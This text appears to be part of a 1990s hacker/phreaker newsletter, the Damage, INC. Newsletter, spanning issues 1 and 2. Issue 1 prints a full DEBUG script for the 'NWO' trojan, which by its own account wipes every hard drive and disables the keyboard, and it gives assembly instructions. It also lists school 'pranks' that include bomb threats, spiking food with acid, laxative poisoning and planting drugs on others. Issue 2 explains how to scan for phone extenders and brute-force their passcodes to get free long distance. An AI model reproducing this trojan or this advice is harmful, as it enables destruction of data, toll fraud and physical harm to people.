+programming language, argues that a fleet of users equipped with Web browsers
+can run any business, as long as Java is powering the servers. Oracle adds the
+technical flourish of an NC Card--a smart card that unlocks your personal
+profile on the network. Microsoft and Intel, of course, contend that Windows
+makes a perfectly good network computer (NC), once you trim away some of its
+extra features.
+Don't expect your desktop computer to disappear anytime soon, however.
+Dataquest, for example, forecasts that sales of network computers in all forms
+may hit a few million by the year 2000. By contrast, businesses and consumers
+are expected to buy more than 132 million PCs (most equipped with some version
+of Windows) in the first year of the millennium. Java is a work in progress,
+and it'll be years before it's widely used on desktop PCs. For most businesses
+NCs will replace aging mainframe terminals, not PCs.
+
+*** Thanks go to Nevada for sending us the above Windows NT article.
+
+
+{SOURCE} AND SCRIPTS -
+THE NWO TROJAN:
+
+This is the source code and debug scripts section. We're going to try to
+include a different virus, trojan or utility every month. Since this is the
+first issue of the Damage, INC. Newsletter, I thought we'd start by featuring
+a special trojan. The NWO trojan is in the spotlight this month. Damage, INC.
+is proud to release the debug script for New World Order. If you wanted or
+expected the source code, that's too fucking bad. ;) In order to use NWO,
+you'll need to clip out the debug script below and save it to a file called
+NWO.SCR. Then, execute DEBUG < NWO.SCR at a DOS prompt to assemble it. If you
+followed those instructions properly, you'll see a file named NWO.COM that is
+exactly 830 bytes.
+
+40-HEX magazine often used this method for including viruses etc. It's the
+safest, easiest and best method to use in my opinion, thus Damage, INC. has
+chosen to use debug scripts. We decided to explain how to use DEBUG in case
+some readers are beginners and have no experience in this area. In future
+issues, we won't explain how to use this method in detail. Always remember:
+
+DEBUG < FILENAME.EXT - to assemble debug script files.
+
+------------------------------------------------------------------------------
+N NWO.COM
+E 0100 B8 52 17 BA 7E 01 3B C4 73 67 8B C4 2D 44 03 25
+E 0110 F0 FF 8B F8 B9 A2 00 BE 7C 01 FC F3 A5 8B D8 B1
+E 0120 04 D3 EB 8C D9 03 D9 53 33 DB 53 CB 0C 01 95 3F
+E 0130 57 63 4A A0 99 A8 FA 5C 9B FB 67 2B 94 AC 7F A2
+E 0140 3B B2 5D 62 EA 81 7C 82 F1 0E 3D 39 3D 1F 9C D0
+E 0150 2A D8 2F C7 A5 83 60 46 86 9F EC C8 2D 2C 9B 4E
+E 0160 6F 74 20 65 6E 6F 75 67 68 20 6D 65 6D 6F 72 79
+E 0170 24 B8 00 09 BA 5F 01 CD 21 CD 20 90 FD 8B F8 4F
+E 0180 4F BE BE 02 03 F2 8B CA D1 E9 F3 A5 FC 87 F7 46
+E 0190 46 BF 00 01 AD 95 BA 10 00 EB 32 90 AD 95 B2 10
+E 01A0 EB 3B AD 95 B2 10 EB 3C AD 95 B2 10 EB 41 AD 95
+E 01B0 B2 10 EB 63 AD 95 B2 10 EB 64 AD 95 B2 10 EB 65
+E 01C0 AD 95 B2 10 EB 66 AD 95 B2 10 72 08 A4 D1 ED 4A
+E 01D0 74 F4 73 F8 33 C9 33 DB D1 ED 4A 74 BF D1 D3 D1
+E 01E0 ED 4A 74 BE D1 D3 85 DB 74 17 D1 ED 4A 74 B9 D1
+E 01F0 D3 80 FB 06 72 0B D1 ED 4A 75 04 AD 95 B2 10 D1
+E 0200 D3 2E 8A 8F 1C 01 80 F9 0A 74 3A 33 DB 83 F9 02
+E 0210 74 26 D1 ED 4A 74 97 72 1F D1 ED 4A 74 96 D1 D3
+E 0220 D1 ED 4A 74 95 D1 D3 D1 ED 4A 74 94 D1 D3 80 FB
+E 0230 02 73 1E 2E 8A BF 2C 01 AC 8A D8 56 8B F7 2B F3
+E 0240 F3 A4 5E EB 88 AC 02 C8 80 D5 00 3C FF 75 BC EB
+E 0250 33 D1 ED 4A 75 04 AD 95 B2 10 D1 D3 80 FB 08 72
+E 0260 D2 D1 ED 4A 75 04 AD 95 B2 10 D1 D3 80 FB 17 72
+E 0270 C2 D1 ED 4A 75 04 AD 95 B2 10 D1 D3 81 E3 DF 00
+E 0280 86 DF EB B4 33 C0 06 BB 00 01 53 8B D8 8B C8 8B
+E 0290 D0 8B E8 8B F0 8B F8 CB 03 00 02 0A 04 05 00 00
+E 02A0 00 00 00 00 06 07 08 09 01 02 00 00 03 04 05 06
+E 02B0 00 00 00 00 00 00 00 00 07 08 09 0A 0B 0C 0D 90
+E 02C0 00 00 B4 01 B9 00 20 CD 10 50 9C E4 60 E4 61 8A
+E 02D0 E0 A0 00 0C 80 E6 61 86 E0 04 9D FA B0 20 E6 20
+E 02E0 00 00 58 E9 20 01 4E 57 4F 20 2D 20 4E 65 77 20
+E 02F0 57 6F 00 3A 72 6C 64 20 4F 72 64 65 72 20 02 01
+E 0300 0D 00 A0 0A 54 68 65 20 41 70 6F 63 61 6C 79 70
+E 0310 73 00 6A 0B 69 73 20 6E 65 61 72 2E 1B 82 C2 19
+E 0320 64 79 69 6E 67 24 74 69 6D A9 8A 1A 6F 4A 16 72
+E 0330 65 44 A9 1E 59 6F 75 12 67 11 2A 55 0D 57 74 14
+E 0340 B2 28 24 73 0E 22 61 6E 0F 25 A5 77 3F 6E 37 73
+E 0350 26 4E 94 A8 31 79 2A 68 61 76 41 04 13 48 6F 20
+E 0360 70 61 79 30 20 66 64 C1 75 63 6B 25 10 72 69 63
+E 0370 65 9D 89 6E AF 24 72 6F 6A CA 82 46 32 4D 6A 75
+E 0380 73 74 22 B3 74 75 6B 63 45 28 94 B9 73 79 10 65
+E 0390 6D 2E 24 43 AC 02 0E 0A 0F 20 6F 66 20 50 A8 44
+E 03A0 61 6D 61 67 3C 49 6E 63 8C A2 FC C7 72 61 18 64
+E 03B0 AA 28 D8 6E 1C 05 73 70 D0 A5 4A 6B 4D 66 1C B1
+E 03C0 74 E1 07 E2 6C 66 21 FC B4 03 B0 01 00 7E B5 00
+E 03D0 B1 01 B6 00 B2 80 CD 13 0E B7 D4 01 0E FF 0E 02
+E 03E0 75 FD 03 0E 03 01 0E 01 01 2A D5 75 46 81 03 46
+E 03F0 81 03 46 3D 01 81 03 38 0E B2 02 E8 0F 00 E8 05
+E 0400 00 0C 03 09 00 FE C2 80 FA 18 75 F0 EB 12 00 00
+E 0410 52 8A C2 B9 88 13 33 D2 BB 21 01 CD 26 83 C4 02
+E 0420 00 00 5A C3 B8 40 00 8E D8 B8 7F 7F A3 72 00 EA
+E 0430 00 00 F4 86 FF FF 00 FC 01 4C 07 06 00 FF
+RCX
+033E
+W
+Q
+-------------------------------------------------------------------------------
+
+NWO is a powerful trojan that nukes the cursor, keyboard, and all hard drives
+(C: to Z:) on the system. It also writes a New World Order message to every
+hard drive. Upon completion, it coldboots the victim's system. We recommend
+being cautious with NWO. Use at your own risk. Damage, INC. isn't responsible
+if you nuke yourself with anything that we release. In the next issue, we're
+planning to include a copy of RAZORBACK...if it has been fully tested and is
+ready. At any rate, enjoy NWO by Damage, INC.
+
+
+ú---[The Journalist's Top Ten List. ]---ú
+
+
+ One of the regular features of the Damage, INC. Newsletter will be my
+top ten list. Yes I stole the idea from David Letterman, but who cares? :)
+This list will be funnier than his, so read on!
+ After one of the shortest summers to date, school is back in, and for all
+you suckers out there who have to attend, there are a few simple things that
+can make school-life into a bearable day.
+ But remember, in the event that you get caught, you cannot reveal
+anything regarding a "damaging" newsletter or some such shit.
+
+
+{TOP TEN} List of Pranks to pull at school:
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+
+ 1. At lunch hour, drop a *BANANA* (not a banana-peel) into a congested
+ hallway. Watch as people walk over or around the banana, but when
+ your mark is the high-school snob who keeps his/her nose pointed to
+ the ceiling, you're sure to be in for a laugh.
+ 2. A oldie but goodie, try and exchange the O'Canada tape for Adam Sandler
+ or Howard Stern. It has to be something with bad taste, otherwise the
+ joke just isn't fun! ;)
+ 3. When a minor-niner asks you for directions, give him the directions
+ to the principal's office, then go to an empty room and page the
+ principals secretary. Tell her you are a new teacher here, and this
+ student just started masturbating in class. Only do this to people
+ who aren't suicidal ;)
+ 4. Tie a strand of fishing line across the bottom of some stairs in the
+ school somewhere. Sit back and laugh as people "launch" their books
+ into the crowd of people. A good one to fuck over the much-hated
+ "brown-noser" who deserves to have his perfect notes scattered around
+ the floor for everyone to steal.
+ 5. This one doesn't need much explanation - Go to the Party Hut in
+ Stone Rd. Mall and pick up a box of stink bombs. If you execute this
+ right, the school might have to be evacuated and you get to miss class.
+ 6. Another way to miss class is call in a bomb threat from the payphone
+ inside the school. You could even go to the lengths of creating a
+ "fake" bomb, complete with ticking clock. Tell the authorities you
+ will blow up the school if the principal does not admit to the students
+ he used to fuck sheep when he was a kid. (make sure you get that one
+ on videotape!) :)
+ 7. Try your hand at lock-picking. You'd be surprised at how little guilt
+ you feel over stealing a niner's new discman.
+ 8. Sneak into the Cooking class and exchange flour for custard powder,
+ cayenne pepper for baking soda. Fill the vanilla extract bottle with
+ 40% Rum instead. And if you're really generous, you could even drop
+ a few hits of acid in there. Once again, make sure your mark is not
+ suicidal! ;)
+ 9. Find the school's biggest browner, and when he's in the library
+ (when *ISN'T* the geek in the library??) slip a book into his bag when
+ he's not looking. The student will probably stroll right past the
+ detectors, and BEEP BEEP BEEP! His face will go red, and you and your
+ friends will be laughing hysterically in the corner. If you have a
+ particular hatred for this guy, slip a homemade "sheet of acid" or a
+ baggie full of oregano into his bag. Watch him talk his way out of that
+ one!
+ 10. Drop laxative into the new teacher's coffee. If you've never tried this
+ before, do it! Such a simple manoeuvre can cause so much shit its
+ hilarious ;)
+
+
+{CLOSING} COMMENTS:
+
+The first issue of the Damage, INC. Newsletter is now a reality and a success.
+The h/p scene in this area was lacking a source of information, and now we
+are providing it to everyone. A forum for the discussion of these topics was
+needed. It should be the duty of those in the local h/p scene to contribute
+articles and lend support to us. Otherwise, the h/p scene locally will weaken
+and slowly die a painful death... It's obvious that 519 is already infested
+with lamers, warez pups and politically correct idiots. They are the enemy.
+Don't allow them to take control of this area and destroy interest in h/p.
+With continued growth, the h/p scene in this area has the potential to become
+respected and powerful. That being said, Damage, INC. is proud to welcome
+The Journalist as our newest Member. We also have an announcement to make:
+Freedom of Information Archives is the new Damage, INC. Dist. Site. It will
+distribute our releases to Guelph and surrounding area. We were already the
+force in this area, but now Damage, INC. is *the* source for h/p information.
+We've grown and become even stronger. ;)
+
+In the next issue of the Damage, INC. Newsletter, look for articles about
+Big Brother and encryption, the Media, Bell, more h/p information, and more
+conspiracies and corruption being exposed. Also, we are planning to include
+the RAZORBACK trojan as well as a list of h/p web sites for you to check out.
+
+We're looking for Writers, Members and Distribution Sites. If you'd like to
+apply to Damage, INC. and join a respected h/p group, then download a copy of
+the Damage, INC. Application Generator. If you want any of our text releases,
+trojans and utilities they are available on the following boards:
+
+...AND JUSTICE FOR ALL - Damage, INC. WHQ, h/p/a/c/v/t, no ratios, invite only.
+Freedom of Information Archives - Damage, INC. Dist. Site, h/p/a/c/v/t.
+
+In the future, we plan to setup the Damage, INC. web site to distribute our
+releases. If you have any comments or suggestions, contact us at one of the
+boards above.
+
+- EOF
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+ "The name speaks for itself!" ÞÝ
+
+ Presents the
+
+ Damage, INC. Newsletter
+
+ October 1997 Issue #2
+
+ "Fighting Corruption with Information."
+
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+ C O N T E N T S :
+
+
+INTRODUCTION - An Introduction to the Damage, INC. Newsletter.
+
+BIG BROTHER BASHING - Encryption and Big Brother's need for control.
+ Search String: {BIG BROTHER}
+
+BLACKENED'S TIP OF THE MONTH - Detecting trojans using a hex editor.
+ Search String: {BLACKENED}
+
+CONSPIRACIES AND COVERUPS - The War Against Unions.
+ Search String: {COVERUPS}
+
+CORRUPTION AND GREED - Bell TotalVision...the start of a total monopoly.
+ Search String: {GREED}
+
+H/P INFORMATION AND NEWS - Extenders and h/p News.
+ Search String: {NEWS}
+
+INTERVIEWS AND INTERROGATIONS - An interrogation of LORDICON.
+ Search String: {INTERVIEWS}
+
+LETTERS TO THE EDITOR - Feedback from Aenima about the Damage, INC. Newsletter.
+ Search String: {LETTERS}
+
+OBJECTIVE OPINIONS - Hacking and Hollywood.
+ Search String: {OPINIONS}
+
+REPORTS FROM THE FRONT - Social Engineering.
+ Search String: {REPORTS}
+
+SOURCE AND SCRIPTS - The RAZORBACK trojan by Damage, INC.
+ Search String: {SOURCE}
+
+THE JOURNALIST'S TOP TEN LIST - Phun things to do in the Fall
+ Search String: {TOP TEN}
+
+CLOSING COMMENTS - BLACKENED'S Inspirational Closing Comments.
+ Search String: {CLOSING}
+
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+
+
+INTRODUCTION: Greetings and salutations to our loyal readers. Welcome to the
+ second issue of the Damage, INC. Newsletter. This issue includes
+ more h/p information, interesting articles, an interrogation and
+ the RAZORBACK trojan. The contents has been changed to make it
+ easier to read and use. Personally, I think it's an improvement.
+ There were so many articles written for this particular issue
+ that we couldn't publish all of them. That does not mean we
+ aren't accepting new writers though, as we are always interested
+ in articles that contain different opinions and ideas. Also, if
+ you program and want to support us... or contribute in some way,
+ contact us. To all of our readers: Read, learn, experiment and
+ explore with h/p. Lastly, enjoy reading the newsletter and the
+ information that is provided to you. ;)
+
+
+BIG BROTHER BASHING - {BIG BROTHER}
+Encryption and Big Brother's need for control.
+
+Big Brother, the "spy in the sky" is watching. Not only that, they are taking
+control of encryption and taking away your right to privacy. That's correct,
+Big Bro will do anything in it's power to stop you from protecting your own
+privacy. Those that encrypt data (text and executable files) do so in an
+attempt to keep that information private. Is there any point in locking up
+something if Big Brother already has the key? No, of course not. That would
+be a complete waste of time, and you would only be giving yourself a false
+sense of security. Don't allow them to easily decrypt sensitive data and use
+it against you as "evidence". I've researched this topic very thoroughly, and
+the lengths that Big Brother goes to in order to infiltrate the personal
+information of citizens sickens me.
+
+This article wasn't written to describe every type of encryption, nor was the
+intent to teach you all all about how it works etc. The purpose is to educate
+you, by showing you that many types of encryption aren't safe. Big Brother has
+regulated and controlled encryption by setting standards. Anyone that follows
+those standards in programming encryption routines is just helping them by
+leaving a backdoor wide open for Big Bro to use against you. The NSA (National
+Security Agency) in the United States is guilty of approving algorithms that
+they don't trust or use for their own internal security. DES and RSA were
+approved by the NSA for public use, because they know it offers citizens very
+little protection against the prying eyes of Big Bro. You must take any and
+all steps necessary in order to secure vital information and make sure it isn't
+sitting in an unlocked safe. Unless of course, you want it to be read, stolen,
+distributed elsewhere etc.
+
+Since many commercial encryption programs are a fucking joke, and follow the
+government standards, I recommend that you avoid using them for anything.
+If you really want to keep sensitive information protected, but don't know
+much about encryption routines, program utilities etc. then download Vincrypt
+or any other quality non-commercial encryption program. Many of them are
+available on my board at no ratio. Here's a direct quote from the docs of
+Vincrypt that describes what it is:
+
+"Well, basically what Vincrypt is, and was designed to do is keep sensitive
+information protected. There have been many other programs that are out that
+do along the same thing as Vincrypt, but not to the same degree. Vincrypt
+incorporates a modified DES routine, RSA public-key, MPJ encryption, and a
+modified PKware zip based routine. The most significant factor about this
+program is the fact that it is a relatively 'dumb' program. Aside from
+identifying whether or not the source file was generated with the program, it
+simply processes the files without any headers of pointers. The reason for
+this is to make it even more difficult to break the routine and bypass the
+encryption due to file common information (such as how all government letters
+say TO: FROM: DEPT:, etc)."
+
+Also, you can use it on text and executable (COM, EXE) files. If you want to
+know more about encryption, find CRYPTFAQ.ZIP, download it and read through it
+carefully. There's a vast amount of information in that FAQ, therefore there
+is no point in repeating it here. In conclusion, Big Brother always seeks
+control. Even the author of Vincrypt mentions Orwell's book 1984 and can see
+the similarities between the book and the present. We live in very turbulent
+and troublesome times. Trusting the government is a trap that can turn into a
+fatal mistake faster than you can say "Billy Gates". He and his corrupt company
+Micro$oft fit into the Big Brother category as well... since Windoze is setup
+to invade privacy. That's another article though. ;) Be aware, take measures
+to protect sensitive data and information and don't just trust everyone. If you
+do, don't complain afterwards about your privacy being taken or invaded by
+someone. You are responsible for your own privacy, and can't rely on anyone
+else to protect you from Big Brother. I suggest that you take the first step by
+getting Vincrypt or an equally good encryption program. Then create your own
+unique password and encrypt anything you have that might be classified as
+incriminating evidence.
+
+
+BLACKENED'S TIP OF THE MONTH - {BLACKENED}
+Detecting trojans using a hex editor:
+
+Thanks to the suggestion Aenima wrote to me on FoI, we have a new section in
+the Damage, INC. Newsletter. ;) Every month, I will share another h/p/a/c/v/t
+related tip with readers. It's up to you how the information I give out is
+used. Perhaps you'll get some ideas of your own and start thinking after
+reading this section. Yes, the first tip is about *detecting* trojans... and
+we are trying to help people by providing them with reliable information.
+
+First, you'll need to have a quality Hex Editor to use. Load up TROJAN.COM
+or TROJAN.EXE (or a file that you suspect to be a trojan) into a hex editor.
+Second, look for MZ at the top as the first two characters if it's an EXE
+file. It should be there, even if the file has been Pklited. That's just a
+quick way to tell if the file is a legitimate EXE or not. Next, look at the
+first page on your screen. Do you see the string "Not enough memory$" visible
+anywhere? If so, that is an indication that the EXE file has been Pklited.
+Is there a string of "PKLITE Copr. 1990-92 PKWARE Inc. All Rights Reserved"
+on the screen? That's called a Pklite header. It shows that the file has
+been compressed. However, that can be overwritten with data so that the
+EXE file won't look like it's been Pklited. If that string isn't there but
+the "Not enough memory$" one is, the file has more than likely been Pklited
+and then altered with a hex editor or by using a utility to remove the Pklite
+header. You can put the Pklite header back by using a hex editor, then you
+can Pkunlite it (uncompress the file). After that, you can disassemble it
+using Sourcer or the disassembler of your choice. If extra compression was
+used to Pklite the file, you'll need a special Pkunlite utility. Of course,
+it's available to download from AJFA at no ratio.
+
+You can also use your hex editor to look for other strings, such as *.COM,
+*.EXE, *.*, Borland etc. by doing text searches. If you see words such as
+"nuked" or any other suspicious text... then send a copy of the file to a
+member of Damage, INC. and we'll test it for you and determine exactly what
+it is. As a free service, we do virus/trojan research for respected users in
+the hacking/phreaking scene. We will report our findings to the user that
+sends us the file(s) that they don't trust. In fact, we will even disassemble
+the file(s) and give you a copy of the source code if you request it.
+
+Recently, it's become popular to use a small utility called Mini-Chainer to
+link trojans to legitimate COM and EXE files. Here's a quick and easy way
+to find them. Load the file up into a hex editor. Look at the second line
+on the first page. If the word "FUCK" is written there, then that basically
+means someone used Mini-Chainer to link one file to another. That doesn't
+necessarily mean it's a trojan, although it's possible since a lot of people
+around here use that method to attach trojans to other files. I hope you find
+these tips useful for detecting trojans (that are undetectable to the majority
+of virus scanners, including heuristics). Of course, there are also more
+complex ways that you can use a hex editor to detect trojans. Another tip is
+to check the end of the file, and simply compare it to another EXE file that
+you know is legit. There are other reliable, more complicated methods as well.
+I'll leave disassembly tips for another issue though. ;)
+
+
+CONSPIRACIES AND COVERUPS - {COVERUPS}
+THE WAR AGAINST UNIONS
+
+Big business and the governments in North America are doing all that they
+can to weaken unions. Twenty years ago, approximately 21 percent of the
+private workforce were members of a union. That has dropped down to a mere
+10 percent. As many businesses report record profit levels, the wages and
+benefits for the working class have been stagnated for the past twenty
+years. "Big business" is profiting immensely from the recession of the
+early 1990s when the working class was victimized by layoffs, job migration,
+and "downsizing". Even as the world's economy gains strength, particularly
+in the United States, workers are not seeing any of the benefits.
+
+For the most part, the record corporate profits have been made off of the
+backs of workers, not on superior products or good management. It is
+cheaper for businesses to have several part-time employees instead of one
+full-time employee. With no real job security, no benefits, no guarantee
+for stable hours, and minimum wages, it is extremely difficult for part-time
+workers to earn a decent living. In contrast to part-time employees, most
+full-time employees earn higher wages, have a benefit package, stable hours
+and more job security with seniority based upon their hiring date.
+
+The proliferation of these part-time positions is one of the issues that
+the Teamsters Union fought in the recent UPS strike. They were successful
+in forcing UPS to maintain all current full-time positions. The Teamsters
+Union also fought for stable hours for UPS's part-time employees. One lie
+that the government and big business spread during the UPS strike was "all
+part-time employees want to work part-time!" There are millions of workers
+throughout North America that do not agree with that statement. CNN
+interviewed several striking UPS employees. Many were working part-time
+for years, and admitted that they badly wanted and needed full-time positions.
+UPS promised these employees full-time jobs eventually... but "eventually"
+never came for them. Thankfully, UPS was stopped in its quest to make even
+more money off of the backs of their employees. Unfortunately, union members
+must be vigilant, because thousands of other companies are looking to maximize
+profits at any cost.
+
+Another tactic that fat cat corporations love to use is to employ temporary
+workers in a continuous cycle. Temporary workers are not their employees,
+and therefore have no link to the company. These workers aren't treated
+like human beings, but like a tool that is used and then disposed of when
+it is no longer needed. Temporary workers also have to live with the fact
+that they are only making a portion of what the company is paying for their
+services. Being an employee of a temporary agency is a sickening experience.
+If it weren't for labour unions, all members of the working class would be
+treated the same way that non-unionized temporary workers are today.
+
+Unions are now in a fight for survival. In July, the government of Ontario
+proposed a law to take away the right to strike from municipal, education,
+hospital, and other public workers. The public unions retaliated by
+threatening to initiate province wide walkouts. Premier Mike Harris, afraid
+that the public would hold him responsible for the potential walkout, backed
+down. He then promised to "restore the right to strike" in an amendment.
+Harris then changed his tactics. Instead of attacking all public sector
+workers, he seems to be attacking one faction at a time. Former Education
+Minister John Snoblen, one of Harris' puppets, announced that would make the
+school year longer, and that he wants to strip the right to strike from
+teachers. He also wants to eliminate up to 10,000 jobs in addition to cutting
+$1 billion from Ontario's education system. In order to protect their union
+and maintain their rights, the teachers have initiated an "illegal" strike.
+Instead of negotiating with their employees in good faith, the government is
+attempting to take any kind of leverage or strength away from the public
+worker's union. And whatever the government does to help themselves in their
+own labour problems eventually helps greedy "big business" as well.
+
+It is sickening how many people have adopted a negative view towards unions.
+They focus more on negative scandals, instead of the benefits that labour unions
+have obtained for its members. When the name Jimmy Hoffa, the former Teamsters
+Union President, is mentioned, he is remembered more for being convicted of
+jury tampering and misappropriation of union funds. Meanwhile, he was
+responsible for signing the first U.S. contract with trucking companies, giving
+truckers more job security and better working conditions. Another example is
+very recent. Teamsters president Ron Carey was responsible for the union's
+victory over UPS. However, it has come to light that his campaign managers
+misappropriated union funds in order to finance his successful run at the
+presidency of the union. In my personal opinion, unions are too important to
+be destroyed by the greed of some of the union's executives. The fact remains
+that without unions, all the people that consider themselves to be in the
+working class would be at the mercy of upper management. One employee who
+stands up for better working conditions and pay is the next employee to be
+fired. It takes all the employees united together in order to get their CEO's
+attention.
+
+There is a conspiracy to destroy unions, not only in Ontario but in the rest
+of North America. The government always sides with big business whenever
+there's a dispute or large scale strike. Plus, big business has more power
+and influence in government than most citizens realize. They stick together
+in their goal to enslave the working class, remove our rights, benefits,
+job security and keep wages low. The auto industry is a perfect example of
+how the large companies make sure the UAW (United Auto Workers) isn't given
+too much in contract negotiations. They protect each other. It's time for
+the working class to unite and fight back. Fight fire with fire.
+
+
+CORRUPTION AND GREED - {GREED}
+Bell TotalVision...the start of a total monopoly.
+
+The media has recently been releasing a lot of reports and articles on Bell.
+I've personally been keeping a close eye on that company, and feel they are
+on the verge of a total monopoly. As in, a monopoly comparable to the
+magnitude of Micro$oft and its control of the software industry. I will
+explain in further detail by quoting from an article that I read recently,
+and paraphrasing from a Quebec television program.
+
+The headline reads "Bell Canada rolls out TV cable trial in London, Ont."
+That's right, Bell is doing market trials in London, Ont. and Repentigny, Que.
+It's their first step towards a total monopoly on the telephone, TV and
+Internet service industries. The Canadian Press article starts off by saying
+"Ma Bell has fired a shot over the bow of the cable television industry,
+rolling out big-gun interactive technology in a fight to win the hearts and
+wallets of viewers." The wallet comment is pure truth. That is always the
+goal of Bell Canada, and has been since the inception of that corrupt, greedy
+organization.
+
+Is Bell really seeking a total monopoly? Here's another quote: "The outcome
+could see a single company look after all the communication and entertainment
+needs of a subscriber - phone, interactive TV and high-speed Internet." That
+should clarify their motives a little. Terry Jarman, Bell's group vice-
+president for business development was quoted as saying "TotalVision is a first
+for Bell and for our customers." That's a very obvious statement, since this
+is the first attempt by Bell to dominate three different industries and gain
+a total monopoly. TotalVision=Total Monopoly. That equation shouldn't be too
+difficult for our readers to understand.
+
+Jarman also said that consumers will be the big winners and that "TotalVision
+is ushering in a whole new level of programming choice and quality." Quality?
+That must be questioned by us as consumers. Judging by Bell's past inferior
+quality and service in the telephone industry, TotalVision will be Total Shit.
+
+According to the article, there will be a package that starts at $19.95 a
+month for 26 channels of programming that's already available locally on
+Rogers Cablesystems. I'm not defending Rogers by any means, just giving you
+the necessary information on cost etc. The $19.95 is what Bell claims their
+TotalVision will start at, but of course that can easily change without notice.
+Also, that is the most basic package, nothing more than normal cable TV in my
+opinion. The article goes on to say "Subscribers will be able to build their
+own TV menu by adding themed bundles of channels - such as news and sports -
+plus specialty stations to the basic offering." Again, Rogers offers a very
+similar "specialty station" and "Cable plus" type of service. Therefore,
+Bell isn't revolutionizing anything by being innovative and creative.
+
+Jarman also said that "TotalVision promises sharper picture and better sound
+quality through digital technology." It also comes with an interactive program
+guide, an on-screen device that "transforms regular channel surfing into a
+high-tech art" according to the Canadian Press. Haha. It has station lock-out
+capabilities (many TV devices offer that already) and a what's-on-right-now
+feature. "With a hand-held converter, viewers can select a week's worth of
+viewing by subject, title or channel." "The converter can also remind a viewer
+when a favorite program is about to start." Those features might sound nice,
+but don't be influenced into thinking they were difficult to implement. Here
+is the best part, "Bell customers also will be offered high-speed Internet
+access, either through a personal computer or the television." Man, Bell sure
+is getting into the cable TV and Internet service market quickly. They must
+have realized how much cash is involved, and want to grab as much of the market
+as they can.
+
+Jarman also said that "more choices - not anti-cable industry sentiment - will
+be the biggest motivator for people in the test area to switch to Bell."
+Why didn't he just speak the truth, and say that influence, propaganda,
+ignorance and naiveness by Bell customers are the biggest factors. The zombies
+want to support Bell, remain loyal to them, and help them build a gigantic
+monopoly. The government, politicians etc. are already trying to tell people
+to switch to Bell. And I quote London Mayor Dianne Haskett "the initiative
+will help keep the city in the forefront of technological change." That's a
+direct attempt by the mayor to influence the citizens of London to try
+TotalVision and give Bell money. They are expecting as many as 1,500
+subscribers signed up by the end of this year in London, about 3,500 households
+in both London and Repentigny, before they expand and try to reach millions of
+other TV subscribers across the country. Bell's plans for a total monopoly are
+crystal clear as far as I'm concerned. Owning a monopoly on local telephone
+service isn't enough for those greedy Bell bastards. They want "TotalControl",
+which is what TotalVision equates to being. I can't even imagine the poor
+customer service you'd receive, when you encounter problems with cable or
+internet usage. If it's anything like their current "customer service" then
+the word poor won't begin to describe it. In summary, watch out for
+TotalVision. If it's offered in your area, do some research first before
+switching and paying the price. Bell will use every marketing tactic, and every
+trick in the book (including underhanded payoffs, undercutting the competition
+for a couple of months etc.) to urge you, sway you and ultimately influence you
+into switching to Bell TotalVision. Don't be fooled like a zombie. Make an
+intelligent, informed choice. Don't base your decision on their expected,
+upcoming commercials and other advertising but rather on facts and real
+information.
+
+
+H/P INFORMATION AND NEWS - {NEWS}
+
+If the thought of using an extender, or the mention of the word itself makes
+you shudder in fear then quit reading now. The information discussed in this
+section is for informational purposes only. If and how you use it is your own
+choice, and we aren't responsible for any consequences that might result.
+
+Extenders are mainly used to call ld for free. Some extenders divert, but
+not all of them do. There are several quick and easy ways to find that out.
+For example, if you're using 651-2252 to call Guelph from K-W... you can dial
+an ANI. If it reports your phone number, then it doesn't divert. Or, if you
+don't have an ANI... try calling a friend that has Caller ID and ask them what
+phone number is displayed. If you don't know anyone that has Caller ID and
+are desperate to know if it diverts, call a friend and ask them to hang up and
+type *69 to find out the number of the last caller.
+
+In order to find extenders, you'll need to use a good scanner such as ToneLoc.
+Download a copy of ToneLoc from a local h/p board, read the docs and take time
+to set it up properly etc. Start scanning some exchanges in your local area.
+Make sure you log everything. You'll soon discover that there are quite a few
+tones and carriers around that you never knew existed. (Examples: 651-2252,
+651-2255, 895-2255, 846-2255 etc.) Don't scan at night because you'll awaken
+people. Use *67 in the dialing prefix as a small precaution. Be aware of
+what you're doing and careful not to call certain numbers that will end up
+getting you caught. If you use ToneLoc, you can create a list of numbers that
+should never be dialed while scanning. There are also several features that
+you can use for making notes of tones, carriers, VMBs etc.
+
+Once you've found an extender or two, and realize that there is a passcode
+(usually 4+ digits)... don't despair or give up immediately. That simply
+means it will have to be hacked. First, you have to determine how many digits
+the passcode is. Try calling it voice (using your phone) and listening to
+the recorded message... Experiment by entering in a few digits and gauge the
+amount of time you are given for that task. There are things that can't be
+taught in a text file, such as intuition, resourcefulness, skill, experience
+and intelligence. ;)
+
+ToneLoc can be used to scan and hack PBXs, extenders etc. or you can use any
+scanner that you prefer. There are also ways to use Telix scripts etc. for
+this purpose. Hacking is much more than just reading how to do something,
+learning one technique or using a scanner. It is thinking and learning on
+your own. Therefore, these are just the basics to get newbies started.
+
+Okay, so you've found an extender and believe it has a 4 digit passcode. Now
+what? You can manually try to "guess" default type passcodes if you want.
+However, that isn't the most efficient way for obvious reason. A 4 digit
+passcode means it is between 0000-9999. That's the range of possible choices.
+That does not mean that you should try every combination. Haha! If it's a PBX
+and not an extender, hack after business hours during the night (when most
+offices are closed)...ToneLoc can be used to hack extenders, diverters, PBXs,
+VMBs and just about any other code. In fact, there are people scanning and
+hacking codes in 519 all the time. Try to stick to the 4 digit ones, and use
+a diverter whenever possible. I'll discuss PBXs and VMBs in a future issue.
+Also, don't scan sequentially... or dial the same numbers day after day etc.
+If you have access to a remote system with a modem, then I'm sure you can figure
+out a way to safely use that for scanning and hacking codes.
+
+Now that you've found a passcode for the extender, you'll need to use a dialing
+string in Telix (or the terminal program you use) like this example:
+
+atdt 8952255,,,,####,,,,,8218486
+
+The first number is the extender. The commas ",,,," are pauses. The #### is
+the passcode. Then there are more pauses and the number of a board or whatever
